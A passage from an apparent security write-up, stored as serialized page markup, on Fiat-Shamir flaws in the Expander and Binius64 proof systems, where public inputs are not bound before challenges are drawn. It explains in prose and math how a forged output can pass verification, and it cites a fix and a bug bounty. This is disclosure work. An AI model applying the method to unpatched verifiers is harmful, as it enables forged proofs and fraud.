vulnerability:",{"type":24,"tag":25,"props":123191,"children":123192},{},[123193,123198],{"type":24,"tag":32,"props":123194,"children":123196},{"className":123195},[],[123197],{"type":29,"value":123157},{"type":29,"value":123199}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":123201,"children":123202},{},[123203],{"type":24,"tag":6301,"props":123204,"children":123207},{"alt":123205,"src":123206},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":123209,"children":123210},{},[123211,123212,123217],{"type":29,"value":3131},{"type":24,"tag":32,"props":123213,"children":123215},{"className":123214},[],[123216],{"type":29,"value":123096},{"type":29,"value":123218}," function computes a linear combination:",{"type":24,"tag":25,"props":123220,"children":123221},{},[123222],{"type":24,"tag":32,"props":123223,"children":123225},{"className":123224},[6368,6369],[123226],{"type":24,"tag":90,"props":123227,"children":123229},{"className":123228},[6374],[123230],{"type":24,"tag":90,"props":123231,"children":123233},{"className":123232,"ariaHidden":6380},[6379],[123234,123279,123403],{"type":24,"tag":90,"props":123235,"children":123237},{"className":123236},[6385],[123238,123242,123251,123256,123266,123270,123275],{"type":24,"tag":90,"props":123239,"children":123241},{"className":123240,"style":96290},[6390],[],{"type":24,"tag":90,"props":123243,"children":123245},{"className":123244},[6396,29],[123246],{"type":24,"tag":90,"props":123247,"children":123249},{"className":123248},[6396],[123250],{"type":29,"value":39364},{"type":24,"tag":90,"props":123252,"children":123254},{"className":123253,"style":94877},[6396],[123255],{"type":29,"value":5482},{"type":24,"tag":90,"props":123257,"children":123259},{"className":123258},[6396,29],[123260],{"type":24,"tag":90,"props":123261,"children":123263},{"className":123262},[6396],[123264],{"type":29,"value":123265},"cst",{"type":24,"tag":90,"props":123267,"children":123269},{"className":123268,"style":6573},[6475],[],{"type":24,"tag":90,"props":123271,"children":123273},{"className":123272},[6578],[123274],{"type":29,"value":5491},{"type":24,"tag":90,"props":123276,"children":123278},{"className":123277,"style":6573},[6475],[],{"type":24,"tag":90,"props":123280,"children":123282},{"className":123281},[6385],[123283,123287,123344,123348,123375,123380,123385,123390,123394,123399],{"type":24,"tag":90,"props":123284,"children":123286},{"className":123285,"style":94819},[6390],[],{"type":24,"tag":90,"props":123288,"children":123290},{"className":123289},[23420],[123291,123296],{"type":24,"tag":90,"props":123292,"children":123294},{"className":123293,"style":23427},[23420,23425,23426],[123295],{"type":29,"value":110672},{"type":24,"tag":90,"props":123297,"children":123299},{"className":123298},[6412],[123300],{"type":24,"tag":90,"props":123301,"children":123303},{"className":123302},[6417,23438],[123304,123333],{"type":24,"tag":90,"props":123305,"children":123307},{"className":123306},[6422],[123308,123328],{"type":24,"tag":90,"props":123309,"children":123311},{"className":123310,"style":116084},[6427],[123312],{"type":24,"tag":90,"props":123313,"children":123314},{"style":23451},[123315,123319],{"type":24,"tag":90,"props":123316,"children":123318},{"className":123317,"style":6437},[6436],[],{"type":24,"tag":90,"props":123320,"children":123322},{"className":123321},[6442,6443,6444,6445],[123323],{"type":24,"tag":90,"props":123324,"children":123326},{"className":123325},[6396,23384,6445],[123327],{"type":29,"value":6123},{"type":24,"tag":90,"props":123329,"children":123331},{"className":123330},[23541],[123332],{"type":29,"value":23544},{"type":24,"tag":90,"props":123334,"children":123336},{"className":123335},[6422],[123337],{"type":24,"tag":90,"props":123338,"children":123340},{"className":123339,"style":116364},[6427],[123341],{"type":24,"tag":90,"props":123342,"children":123343},{},[],{"type":24,"tag":90,"props":123345,"children":123347},{"className":123346,"style":6514},[6475],[],{"type":24,"tag":90,"props":123349,"children":123351},{"className":123350},[6396],[123352,123361,123366],{"type":24,"tag":90,"props":123353,"children":123355},{"className":123354},[6396,29],[123356],{"type":24,"tag":90,"props":123357,"children":123359},{"className":123358},[6396],[123360],{"type":29,"value":63501},{"type":24,"tag":90,"props":123362,"children":123364},{"className":123363,"style":94877},[6396],[123365],{"type":29,"value":5482},{"type":24,"tag":90,"props":123367,"children":123369},{"className":123368},[6396,29],[123370],{"type":24,"tag":90,"props":123371,"children":123373},{"className":123372},[6396],[123374],{"type":29,"value":1106},{"type":24,"tag":90,"props":123376,"children":123378},{"className":123377},[23513],[123379],{"type":29,"value":719},{"type":24,"tag":90,"props":123381,"children":123383},{"className":123382},[6396,23384],[123384],{"type":29,"value":6123},{"type":24,"tag":90,"props":123386,"children":123388},{"className":123387},[23535],[123389],{"type":29,"value":1914},{"type":24,"tag":90,"props":123391,"children":123393},{"className":123392,"style":6476},[6475],[],{"type":24,"tag":90,"props":123395,"children":123397},{"className":123396},[6481],[123398],{"type":29,"value":113139},{"type":24,"tag":90,"props":123400,"children":123402},{"className":123401,"style":6476},[6475],[],{"type":24,"tag":90,"props":123404,"children":123406},{"className":123405},[6385],[123407,123411,123420,123425,123430,123435,123439,123488],{"type":24,"tag":90,"props":123408,"children":123410},{"className":123409,"style":6496},[6390],[],{"type":24,"tag":90,"props":123412,"children":123414},{"className":123413},[6396,29],[123415],{"type":24,"tag":90,"props":123416,"children":123418},{"className":123417},[6396],[123419],{"type":29,"value":114466},{"type":24,"tag":90,"props":123421,"children":123423},{"className":123422},[23513],[123424],{"type":29,"value":117},{"type":24,"tag":90,"props":123426,"children":123428},{"className":123427},[6396,23384],[123429],{"type":29,"value":6123},{"type":24,"tag":90,"props":123431,"children":123433},{"className":123432},[6507],[123434],{"type":29,"value":6510},{"type":24,"tag":90,"props":123436,"children":123438},{"className":123437,"style":6514},[6475],[],{"type":24,"tag":90,"props":123440,"children":123442},{"className":123441},[6396,114026],[123443],{"type":24,"tag":90,"props":123444,"children":123446},{"className":123445},[6417],[123447],{"type":24,"tag":90,"props":123448,"children":123450},{"className":123449},[6422],[123451],{"type":24,"tag":90,"props":123452,"children":123454},{"className":123453,"style":114112},[6427],[123455,123467],{"type":24,"tag":90,"props":123456,"children":123457},{"style":114043},[123458,123462],{"type":24,"tag":90,"props":123459,"children":123461},{"className":123460,"style":114048},[6436],[],{"type":24,"tag":90,"props":123463,"children":123465},{"className":123464,"style":94877},[6396,23384],[123466],{"type":29,"value":95696},{"type":24,"tag":90,"props":123468,"children":123469},{"style":114043},[123470,123474],{"type":24,"tag":90,"props":123471,"children":123473},{"className":123472,"style":114048},[6436],[],{"type":24,"tag":90,"props":123475,"children":123477},{"className":123476,"style":114136},[114066],[123478],{"type":24,"tag":90,"props":123479,"children":123481},{"className":123480,"style":114142},[114141],[123482],{"type":24,"tag":36088,"props":123483,"children":123484},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[123485],{"type":24,"tag":114154,"props":123486,"children":123487},{"d":114156},[],{"type":24,"tag":90,"props":123489,"children":123491},{"className":123490},[23535],[123492],{"type":29,"value":517},{"type":24,"tag":25,"props":123494,"children":123495},{},[123496,123497,123566,123568,123573,123575,123580],{"type":29,"value":117713},{"type":24,"tag":32,"props":123498,"children":123500},{"className":123499},[6368,6369],[123501],{"type":24,"tag":90,"props":123502,"children":123504},{"className":123503},[6374],[123505],{"type":24,"tag":90,"props":123506,"children":123508},{"className":123507,"ariaHidden":6380},[6379],[123509],{"type":24,"tag":90,"props":123510,"children":123512},{"className":123511},[6385],[123513,123517],{"type":24,"tag":90,"props":123514,"children":123516},{"className":123515,"style":114112},[6390],[],{"type":24,"tag":90,"props":123518,"children":123520},{"className":123519},[6396,114026],[123521],{"type":24,"tag":90,"props":123522,"children":123524},{"className":123523},[6417],[123525],{"type":24,"tag":90,"props":123526,"children":123528},{"className":123527},[6422],[123529],{"type":24,"tag":90,"props":123530,"children":123532},{"className":123531,"style":114112},[6427],[123533,123545],{"type":24,"tag":90,"props":123534,"children":123535},{"style":114043},[123536,123540],{"type":24,"tag":90,"props":123537,"children":123539},{"className":123538,"style":114048},[6436],[],{"type":24,"tag":90,"props":123541,"children":123543},{"className":123542,"style":94877},[6396,23384],[123544],{"type":29,"value":95696},{"type":24,"tag":90,"props":123546,"children":123547},{"style":114043},[123548,123552],{"type":24,"tag":90,"props":123549,"children":123551},{"className":123550,"style":114048},[6436],[],{"type":24,"tag":90,"props":123553,"children":123555},{"className":123554,"style":114136},[114066],[123556],{"type":24,"tag":90,"props":123557,"children":123559},{"className":123558,"style":114142},[114141],[123560],{"type":24,"tag":36088,"props":123561,"children":123562},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[123563],{"type":24,"tag":114154,"props":123564,"children":123565},{"d":114156},[],{"type":29,"value":123567}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":32,"props":123569,"children":123571},{"className":123570},[],[123572],{"type":29,"value":123157},{"type":29,"value":123574},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":32,"props":123576,"children":123578},{"className":123577},[],[123579],{"type":29,"value":123157},{"type":29,"value":123581}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":123583,"children":123584},{},[123585,123589,123591,123598,123599,123602,123609],{"type":24,"tag":7711,"props":123586,"children":123587},{},[123588],{"type":29,"value":118587},{"type":29,"value":123590}," Fixed on 21st January 2026 via ",{"type":24,"tag":69,"props":123592,"children":123595},{"href":123593,"rel":123594},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[73],[123596],{"type":29,"value":123597},"commit 4a8c2be",{"type":29,"value":2877},{"type":24,"tag":32781,"props":123600,"children":123601},{},[],{"type":24,"tag":69,"props":123603,"children":123606},{"href":123604,"rel":123605},"https://blog.polyhedra.network/expander-bug-bounty/",[73],[123607],{"type":29,"value":123608},"Claimed 500k Bug bounty",{"type":29,"value":123610}," award pending",{"type":24,"tag":20586,"props":123612,"children":123613},{},[],{"type":24,"tag":1019,"props":123615,"children":123617},{"id":123616},"binius64",[123618],{"type":29,"value":109720},{"type":24,"tag":25,"props":123620,"children":123621},{},[123622,123624,123751],{"type":29,"value":123623},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":32,"props":123625,"children":123627},{"className":123626},[6368,6369],[123628],{"type":24,"tag":90,"props":123629,"children":123631},{"className":123630},[6374],[123632],{"type":24,"tag":90,"props":123633,"children":123635},{"className":123634,"ariaHidden":6380},[6379],[123636],{"type":24,"tag":90,"props":123637,"children":123639},{"className":123638},[6385],[123640,123645],{"type":24,"tag":90,"props":123641,"children":123644},{"className":123642,"style":123643},[6390],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":90,"props":123646,"children":123648},{"className":123647},[6396],[123649,123656],{"type":24,"tag":90,"props":123650,"children":123653},{"className":123651},[6396,123652],"mathbb",[123654],{"type":29,"value":123655},"F",{"type":24,"tag":90,"props":123657,"children":123659},{"className":123658},[6412],[123660],{"type":24,"tag":90,"props":123661,"children":123663},{"className":123662},[6417,23438],[123664,123739],{"type":24,"tag":90,"props":123665,"children":123667},{"className":123666},[6422],[123668,123734],{"type":24,"tag":90,"props":123669,"children":123671},{"className":123670,"style":114209},[6427],[123672],{"type":24,"tag":90,"props":123673,"children":123675},{"style":123674},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123676,123680],{"type":24,"tag":90,"props":123677,"children":123679},{"className":123678,"style":6437},[6436],[],{"type":24,"tag":90,"props":123681,"children":123683},{"className":123682},[6442,6443,6444,6445],[123684],{"type":24,"tag":90,"props":123685,"children":123687},{"className":123686},[6396,6445],[123688],{"type":24,"tag":90,"props":123689,"children":123691},{"className":123690},[6396,6445],[123692,123697],{"type":24,"tag":90,"props":123693,"children":123695},{"className":123694},[6396,6445],[123696],{"type":29,"value":3191},{"type":24,"tag":90,"props":123698,"children":123700},{"className":123699},[6412],[123701],{"type":24,"tag":90,"props":123702,"children":123704},{"className":123703},[6417],[123705],{"type":24,"tag":90,"props":123706,"children":123708},{"className":123707},[6422],[123709],{"type":24,"tag":90,"props":123710,"children":123713},{"className":123711,"style":123712},[6427],"height:0.7463em;",[123714],{"type":24,"tag":90,"props":123715,"children":123716},{"style":114334},[123717,123721],{"type":24,"tag":90,"props":123718,"children":123720},{"className":123719,"style":110737},[6436],[],{"type":24,"tag":90,"props":123722,"children":123724},{"className":123723},[6442,110742,110743,6445],[123725],{"type":24,"tag":90,"props":123726,"children":123728},{"className":123727},[6396,6445],[123729],{"type":24,"tag":90,"props":123730,"children":123732},{"className":123731},[6396,6445],[123733],{"type":29,"value":31659},{"type":24,"tag":90,"props":123735,"children":123737},{"className":123736},[23541],[123738],{"type":29,"value":23544},{"type":24,"tag":90,"props":123740,"children":123742},{"className":123741},[6422],[123743],{"type":24,"tag":90,"props":123744,"children":123747},{"className":123745,"style":123746},[6427],"height:0.1776em;",[123748],{"type":24,"tag":90,"props":123749,"children":123750},{},[],{"type":29,"value":123752}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":123754,"children":123755},{},[123756,123758,123763],{"type":29,"value":123757},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":7711,"props":123759,"children":123760},{},[123761],{"type":29,"value":123762},"Shift Protocol",{"type":29,"value":123764}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":123766,"children":123767},{},[123768],{"type":24,"tag":7711,"props":123769,"children":123770},{},[123771],{"type":29,"value":123189},{"type":24,"tag":25,"props":123773,"children":123774},{},[123775],{"type":29,"value":123776},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":80,"props":123778,"children":123780},{"code":123779,"language":84,"meta":7,"className":82,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123781],{"type":24,"tag":32,"props":123782,"children":123783},{"__ignoreMap":7},[123784,123819,123844,123878,123886],{"type":24,"tag":90,"props":123785,"children":123786},{"class":92,"line":93},[123787,123791,123795,123799,123803,123807,123811,123815],{"type":24,"tag":90,"props":123788,"children":123789},{"style":97},[123790],{"type":29,"value":100},{"type":24,"tag":90,"props":123792,"children":123793},{"style":97},[123794],{"type":29,"value":105},{"type":24,"tag":90,"props":123796,"children":123797},{"style":108},[123798],{"type":29,"value":10543},{"type":24,"tag":90,"props":123800,"children":123801},{"style":114},[123802],{"type":29,"value":1575},{"type":24,"tag":90,"props":123804,"children":123805},{"style":146},[123806],{"type":29,"value":123655},{"type":24,"tag":90,"props":123808,"children":123809},{"style":114},[123810],{"type":29,"value":133},{"type":24,"tag":90,"props":123812,"children":123813},{"style":146},[123814],{"type":29,"value":118106},{"type":24,"tag":90,"props":123816,"children":123817},{"style":114},[123818],{"type":29,"value":8973},{"type":24,"tag":90,"props":123820,"children":123821},{"class":92,"line":200},[123822,123827,123831,123835,123840],{"type":24,"tag":90,"props":123823,"children":123824},{"style":136},[123825],{"type":29,"value":123826}," constraint_system",{"type":24,"tag":90,"props":123828,"children":123829},{"style":120},[123830],{"type":29,"value":78},{"type":24,"tag":90,"props":123832,"children":123833},{"style":120},[123834],{"type":29,"value":455},{"type":24,"tag":90,"props":123836,"children":123837},{"style":146},[123838],{"type":29,"value":123839},"ConstraintSystem",{"type":24,"tag":90,"props":123841,"children":123842},{"style":114},[123843],{"type":29,"value":748},{"type":24,"tag":90,"props":123845,"children":123846},{"class":92,"line":239},[123847,123851,123855,123859,123863,123868,123873],{"type":24,"tag":90,"props":123848,"children":123849},{"style":136},[123850],{"type":29,"value":9903},{"type":24,"tag":90,"props":123852,"children":123853},{"style":120},[123854],{"type":29,"value":78},{"type":24,"tag":90,"props":123856,"children":123857},{"style":120},[123858],{"type":29,"value":455},{"type":24,"tag":90,"props":123860,"children":123861},{"style":114},[123862],{"type":29,"value":719},{"type":24,"tag":90,"props":123864,"children":123865},{"style":146},[123866],{"type":29,"value":123867},"Word",{"type":24,"tag":90,"props":123869,"children":123870},{"style":114},[123871],{"type":29,"value":123872},"], ",{"type":24,"tag":90,"props":123874,"children":123875},{"style":252},[123876],{"type":29,"value":123877},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":90,"props":123879,"children":123880},{"class":92,"line":248},[123881],{"type":24,"tag":90,"props":123882,"children":123883},{"style":252},[123884],{"type":29,"value":123885}," // ...\n",{"type":24,"tag":90,"props":123887,"children":123888},{"class":92,"line":258},[123889,123893,123897,123901,123905,123910,123914,123918,123922,123926],{"type":24,"tag":90,"props":123890,"children":123891},{"style":114},[123892],{"type":29,"value":172},{"type":24,"tag":90,"props":123894,"children":123895},{"style":120},[123896],{"type":29,"value":177},{"type":24,"tag":90,"props":123898,"children":123899},{"style":146},[123900],{"type":29,"value":182},{"type":24,"tag":90,"props":123902,"children":123903},{"style":114},[123904],{"type":29,"value":1575},{"type":24,"tag":90,"props":123906,"children":123907},{"style":146},[123908],{"type":29,"value":123909},"VerifyOutput",{"type":24,"tag":90,"props":123911,"children":123912},{"style":114},[123913],{"type":29,"value":1575},{"type":24,"tag":90,"props":123915,"children":123916},{"style":146},[123917],{"type":29,"value":123655},{"type":24,"tag":90,"props":123919,"children":123920},{"style":114},[123921],{"type":29,"value":9015},{"type":24,"tag":90,"props":123923,"children":123924},{"style":146},[123925],{"type":29,"value":39214},{"type":24,"tag":90,"props":123927,"children":123928},{"style":114},[123929],{"type":29,"value":8377},{"type":24,"tag":25,"props":123931,"children":123932},{},[123933,123935,123941,123942,123948,123950,123954],{"type":29,"value":123934},"In the shift protocol, challenges ",{"type":24,"tag":32,"props":123936,"children":123938},{"className":123937},[],[123939],{"type":29,"value":123940},"r_j",{"type":29,"value":13360},{"type":24,"tag":32,"props":123943,"children":123945},{"className":123944},[],[123946],{"type":29,"value":123947},"inout_eval_point",{"type":29,"value":123949}," are sampled ",{"type":24,"tag":7711,"props":123951,"children":123952},{},[123953],{"type":29,"value":106421},{"type":29,"value":123955}," the public witness is bound.",{"type":24,"tag":25,"props":123957,"children":123958},{},[123959],{"type":24,"tag":7711,"props":123960,"children":123961},{},[123962],{"type":29,"value":117309},{"type":24,"tag":25,"props":123964,"children":123965},{},[123966],{"type":24,"tag":6301,"props":123967,"children":123970},{"alt":123968,"src":123969},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":123972,"children":123973},{},[123974],{"type":29,"value":123975},"During verification",{"type":24,"tag":3100,"props":123977,"children":123978},{},[123979,123999,124011,124030],{"type":24,"tag":3104,"props":123980,"children":123981},{},[123982,123984,123989,123991,123997],{"type":29,"value":123983},"Sumcheck produces challenge points ",{"type":24,"tag":32,"props":123985,"children":123987},{"className":123986},[],[123988],{"type":29,"value":123940},{"type":29,"value":123990}," (bit indices) and ",{"type":24,"tag":32,"props":123992,"children":123994},{"className":123993},[],[123995],{"type":29,"value":123996},"r_s",{"type":29,"value":123998}," (shift indices)",{"type":24,"tag":3104,"props":124000,"children":124001},{},[124002,124004,124009],{"type":29,"value":124003},"Verifier samples ",{"type":24,"tag":32,"props":124005,"children":124007},{"className":124006},[],[124008],{"type":29,"value":123947},{"type":29,"value":124010}," from transcript",{"type":24,"tag":3104,"props":124012,"children":124013},{},[124014,124016,124022,124024,124029],{"type":29,"value":124015},"Verifier computes ",{"type":24,"tag":32,"props":124017,"children":124019},{"className":124018},[],[124020],{"type":29,"value":124021},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":124023}," using the unbound ",{"type":24,"tag":32,"props":124025,"children":124027},{"className":124026},[],[124028],{"type":29,"value":63501},{"type":29,"value":4658},{"type":24,"tag":3104,"props":124031,"children":124032},{},[124033,124034,124040],{"type":29,"value":3131},{"type":24,"tag":32,"props":124035,"children":124037},{"className":124036},[],[124038],{"type":29,"value":124039},"public_eval",{"type":29,"value":124041}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":124043,"children":124044},{},[124045],{"type":29,"value":124046},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":124048,"children":124049},{},[124050],{"type":24,"tag":32,"props":124051,"children":124053},{"className":124052},[6368,6369],[124054],{"type":24,"tag":90,"props":124055,"children":124057},{"className":124056},[6374],[124058],{"type":24,"tag":90,"props":124059,"children":124061},{"className":124060,"ariaHidden":6380},[6379],[124062,124106,124246,124358],{"type":24,"tag":90,"props":124063,"children":124065},{"className":124064},[6385],[124066,124070,124079,124084,124093,124097,124102],{"type":24,"tag":90,"props":124067,"children":124069},{"className":124068,"style":96290},[6390],[],{"type":24,"tag":90,"props":124071,"children":124073},{"className":124072},[6396,29],[124074],{"type":24,"tag":90,"props":124075,"children":124077},{"className":124076},[6396],[124078],{"type":29,"value":63501},{"type":24,"tag":90,"props":124080,"children":124082},{"className":124081,"style":94877},[6396],[124083],{"type":29,"value":5482},{"type":24,"tag":90,"props":124085,"children":124087},{"className":124086},[6396,29],[124088],{"type":24,"tag":90,"props":124089,"children":124091},{"className":124090},[6396],[124092],{"type":29,"value":39364},{"type":24,"tag":90,"props":124094,"children":124096},{"className":124095,"style":6573},[6475],[],{"type":24,"tag":90,"props":124098,"children":124100},{"className":124099},[6578],[124101],{"type":29,"value":5491},{"type":24,"tag":90,"props":124103,"children":124105},{"className":124104,"style":6573},[6475],[],{"type":24,"tag":90,"props":124107,"children":124109},{"className":124108},[6385],[124110,124114,124186,124190,124203,124208,124213,124218,124223,124228,124233,124237,124242],{"type":24,"tag":90,"props":124111,"children":124113},{"className":124112,"style":120639},[6390],[],{"type":24,"tag":90,"props":124115,"children":124117},{"className":124116},[23420],[124118,124123],{"type":24,"tag":90,"props":124119,"children":124121},{"className":124120,"style":23427},[23420,23425,23426],[124122],{"type":29,"value":110672},{"type":24,"tag":90,"props":124124,"children":124126},{"className":124125},[6412],[124127],{"type":24,"tag":90,"props":124128,"children":124130},{"className":124129},[6417,23438],[124131,124175],{"type":24,"tag":90,"props":124132,"children":124134},{"className":124133},[6422],[124135,124170],{"type":24,"tag":90,"props":124136,"children":124138},{"className":124137,"style":115549},[6427],[124139],{"type":24,"tag":90,"props":124140,"children":124141},{"style":23451},[124142,124146],{"type":24,"tag":90,"props":124143,"children":124145},{"className":124144,"style":6437},[6436],[],{"type":24,"tag":90,"props":124147,"children":124149},{"className":124148},[6442,6443,6444,6445],[124150],{"type":24,"tag":90,"props":124151,"children":124153},{"className":124152},[6396,6445],[124154,124160,124165],{"type":24,"tag":90,"props":124155,"children":124158},{"className":124156,"style":124157},[6396,23384,6445],"margin-right:0.02691em;",[124159],{"type":29,"value":51395},{"type":24,"tag":90,"props":124161,"children":124163},{"className":124162},[6507,6445],[124164],{"type":29,"value":6510},{"type":24,"tag":90,"props":124166,"children":124168},{"className":124167},[6396,23384,6445],[124169],{"type":29,"value":5617},{"type":24,"tag":90,"props":124171,"children":124173},{"className":124172},[23541],[124174],{"type":29,"value":23544},{"type":24,"tag":90,"props":124176,"children":124178},{"className":124177},[6422],[124179],{"type":24,"tag":90,"props":124180,"children":124182},{"className":124181,"style":116115},[6427],[124183],{"type":24,"tag":90,"props":124184,"children":124185},{},[],{"type":24,"tag":90,"props":124187,"children":124189},{"className":124188,"style":6514},[6475],[],{"type":24,"tag":90,"props":124191,"children":124193},{"className":124192},[6396],[124194],{"type":24,"tag":90,"props":124195,"children":124197},{"className":124196},[6396,29],[124198],{"type":24,"tag":90,"props":124199,"children":124201},{"className":124200},[6396],[124202],{"type":29,"value":63501},{"type":24,"tag":90,"props":124204,"children":124206},{"className":124205},[23513],[124207],{"type":29,"value":719},{"type":24,"tag":90,"props":124209,"children":124211},{"className":124210,"style":124157},[6396,23384],[124212],{"type":29,"value":51395},{"type":24,"tag":90,"props":124214,"children":124216},{"className":124215},[23535],[124217],{"type":29,"value":1914},{"type":24,"tag":90,"props":124219,"children":124221},{"className":124220},[23513],[124222],{"type":29,"value":719},{"type":24,"tag":90,"props":124224,"children":124226},{"className":124225},[6396,23384],[124227],{"type":29,"value":5617},{"type":24,"tag":90,"props":124229,"children":124231},{"className":124230},[23535],[124232],{"type":29,"value":1914},{"type":24,"tag":90,"props":124234,"children":124236},{"className":124235,"style":6476},[6475],[],{"type":24,"tag":90,"props":124238,"children":124240},{"className":124239},[6481],[124241],{"type":29,"value":113139},{"type":24,"tag":90,"props":124243,"children":124245},{"className":124244,"style":6476},[6475],[],{"type":24,"tag":90,"props":124247,"children":124249},{"className":124248},[6385],[124250,124255,124264,124269,124274,124279,124283,124340,124345,124349,124354],{"type":24,"tag":90,"props":124251,"children":124254},{"className":124252,"style":124253},[6390],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":90,"props":124256,"children":124258},{"className":124257},[6396,29],[124259],{"type":24,"tag":90,"props":124260,"children":124262},{"className":124261},[6396],[124263],{"type":29,"value":114466},{"type":24,"tag":90,"props":124265,"children":124267},{"className":124266},[23513],[124268],{"type":29,"value":117},{"type":24,"tag":90,"props":124270,"children":124272},{"className":124271},[6396,23384],[124273],{"type":29,"value":5617},{"type":24,"tag":90,"props":124275,"children":124277},{"className":124276},[6507],[124278],{"type":29,"value":6510},{"type":24,"tag":90,"props":124280,"children":124282},{"className":124281,"style":6514},[6475],[],{"type":24,"tag":90,"props":124284,"children":124286},{"className":124285},[6396],[124287,124292],{"type":24,"tag":90,"props":124288,"children":124290},{"className":124289,"style":94877},[6396,23384],[124291],{"type":29,"value":95696},{"type":24,"tag":90,"props":124293,"children":124295},{"className":124294},[6412],[124296],{"type":24,"tag":90,"props":124297,"children":124299},{"className":124298},[6417,23438],[124300,124329],{"type":24,"tag":90,"props":124301,"children":124303},{"className":124302},[6422],[124304,124324],{"type":24,"tag":90,"props":124305,"children":124307},{"className":124306,"style":95406},[6427],[124308],{"type":24,"tag":90,"props":124309,"children":124310},{"style":111876},[124311,124315],{"type":24,"tag":90,"props":124312,"children":124314},{"className":124313,"style":6437},[6436],[],{"type":24,"tag":90,"props":124316,"children":124318},{"className":124317},[6442,6443,6444,6445],[124319],{"type":24,"tag":90,"props":124320,"children":124322},{"className":124321,"style":116100},[6396,23384,6445],[124323],{"type":29,"value":11032},{"type":24,"tag":90,"props":124325,"children":124327},{"className":124326},[23541],[124328],{"type":29,"value":23544},{"type":24,"tag":90,"props":124330,"children":124332},{"className":124331},[6422],[124333],{"type":24,"tag":90,"props":124334,"children":124336},{"className":124335,"style":120787},[6427],[124337],{"type":24,"tag":90,"props":124338,"children":124339},{},[],{"type":24,"tag":90,"props":124341,"children":124343},{"className":124342},[23535],[124344],{"type":29,"value":517},{"type":24,"tag":90,"props":124346,"children":124348},{"className":124347,"style":6476},[6475],[],{"type":24,"tag":90,"props":124350,"children":124352},{"className":124351},[6481],[124353],{"type":29,"value":113139},{"type":24,"tag":90,"props":124355,"children":124357},{"className":124356,"style":6476},[6475],[],{"type":24,"tag":90,"props":124359,"children":124361},{"className":124360},[6385],[124362,124366,124375,124380,124385,124390,124394,124404,124409,124418,124423,124432],{"type":24,"tag":90,"props":124363,"children":124365},{"className":124364,"style":94819},[6390],[],{"type":24,"tag":90,"props":124367,"children":124369},{"className":124368},[6396,29],[124370],{"type":24,"tag":90,"props":124371,"children":124373},{"className":124372},[6396],[124374],{"type":29,"value":114466},{"type":24,"tag":90,"props":124376,"children":124378},{"className":124377},[23513],[124379],{"type":29,"value":117},{"type":24,"tag":90,"props":124381,"children":124383},{"className":124382,"style":124157},[6396,23384],[124384],{"type":29,"value":51395},{"type":24,"tag":90,"props":124386,"children":124388},{"className":124387},[6507],[124389],{"type":29,"value":6510},{"type":24,"tag":90,"props":124391,"children":124393},{"className":124392,"style":6514},[6475],[],{"type":24,"tag":90,"props":124395,"children":124397},{"className":124396},[6396,29],[124398],{"type":24,"tag":90,"props":124399,"children":124401},{"className":124400},[6396],[124402],{"type":29,"value":124403},"inout",{"type":24,"tag":90,"props":124405,"children":124407},{"className":124406,"style":94877},[6396],[124408],{"type":29,"value":5482},{"type":24,"tag":90,"props":124410,"children":124412},{"className":124411},[6396,29],[124413],{"type":24,"tag":90,"props":124414,"children":124416},{"className":124415},[6396],[124417],{"type":29,"value":39364},{"type":24,"tag":90,"props":124419,"children":124421},{"className":124420,"style":94877},[6396],[124422],{"type":29,"value":5482},{"type":24,"tag":90,"props":124424,"children":124426},{"className":124425},[6396,29],[124427],{"type":24,"tag":90,"props":124428,"children":124430},{"className":124429},[6396],[124431],{"type":29,"value":119662},{"type":24,"tag":90,"props":124433,"children":124435},{"className":124434},[23535],[124436],{"type":29,"value":517},{"type":24,"tag":25,"props":124438,"children":124439},{},[124440,124442,124447,124449,124522],{"type":29,"value":124441},"With challenges fixed (independent of ",{"type":24,"tag":32,"props":124443,"children":124445},{"className":124444},[],[124446],{"type":29,"value":63501},{"type":29,"value":124448},"), an attacker can find an alternate witness 